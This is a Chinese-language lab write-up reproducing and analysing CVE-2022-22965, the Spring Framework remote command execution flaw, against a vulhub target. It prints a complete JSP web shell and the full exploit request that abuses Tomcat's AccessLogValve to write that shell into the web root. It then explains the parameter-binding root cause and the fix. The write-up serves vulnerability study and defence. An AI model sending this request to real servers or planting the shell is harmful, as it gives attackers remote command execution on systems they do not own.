CVE-2022-22965 Spring Framework远程命令执行

0x01 影响版本

Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK>9

0x02 复现环境

vulhub/spring/cve-2022-22965

0x03 漏洞复现

首先docker-compose up -d开启靶场
CVE-2022-22965 Spring Framework远程命令执行_第1张图片
输入payload

<%
   if("j".equals(request.getParameter("pwd"))){
   	java.io.InputStream in = Runtime.getRuntime().exec(
   		request.getParameter("cmd")
   	).getInputStream();
   	int a = -1; 
   	byte[] b = new byte[2048]; 
   	while((a=in.read(b))!=-1){
		out.println(new String(b)); 
   	} 
   } 
%>

CVE-2022-22965 Spring Framework远程命令执行_第2张图片

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.92.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 8

访问jsp代码
CVE-2022-22965 Spring Framework远程命令执行_第3张图片
漏洞复现成功

0x04 漏洞分析

1、SpringMVC参数绑定

为了避免需要编写大量的代码从HttpServletRequest中获取数据,SpringMVC会根据Controller方法的参数自动完成类型转换和赋值。

CVE-2022-22965 Spring Framework远程命令执行_第4张图片

如图,该Controller方法调用的类为User类。
CVE-2022-22965 Spring Framework远程命令执行_第5张图片

User类中开放了对name的操作,并且调用Department类
CVE-2022-22965 Spring Framework远程命令执行_第6张图片

Department类开放了对name的操作。
开启项目后请求/addUser?name=test&department.name=SEC时,参数如下
CVE-2022-22965 Spring Framework远程命令执行_第7张图片
可以看到:
(1)name自动绑定到了User中的name上
(2)department.name通过User.getDepartment()->Department.setName()绑定
综上,假如请求名为A.B.C.D且Controler入参为P,则调用链为:
P.getA()->A.getB()->B.getC()->C.setD()
SpringMVC通过WebDataBinder.doBind(MutablepropertyValues) 实现参数绑定

2、Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。

	Class<?> getPropertyType() // 获取属性的java类型对象
	Method getReadMethod() // 获得用于读取属性值的方法
	Method getWriteMethod() // 获得用于写入属性值的方法
	void setReadMethod(Method readMethod) // Sets the method that should be used to read the property value.
	void setWriteMethod(Method writeMethod) //Sets the method that should be used to write the property value.

PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。

3、Tomcat AccessLogValve 和 access_log

Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:
在这里插入图片描述

下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。

4、payload分析
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。引用了包中的header
CVE-2022-22965 Spring Framework远程命令执行_第8张图片

class.module.classLoader.resources.context.parent.pipeline.first.pattern=jspcode
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

调用链最终为:
CVE-2022-22965 Spring Framework远程命令执行_第9张图片

pattern:文件内容
suffix:文件后缀名
directory:文件输出目录,设为webapps/ROOT即为根目录,localhost:8080/xxx文件可以直接访问
prefix:文件名
fileDateFormat:将AccessLogValue.fileDateFormat设为空,文件名不含日期

0x05 漏洞修复

CVE-2022-22965 Spring Framework远程命令执行_第10张图片

1、判断调用的类名是否是安全的类名
2、限制了调用类时只允许调用Name

你可能感兴趣的:(漏洞复现,spring,java,后端,安全,渗透测试,web安全)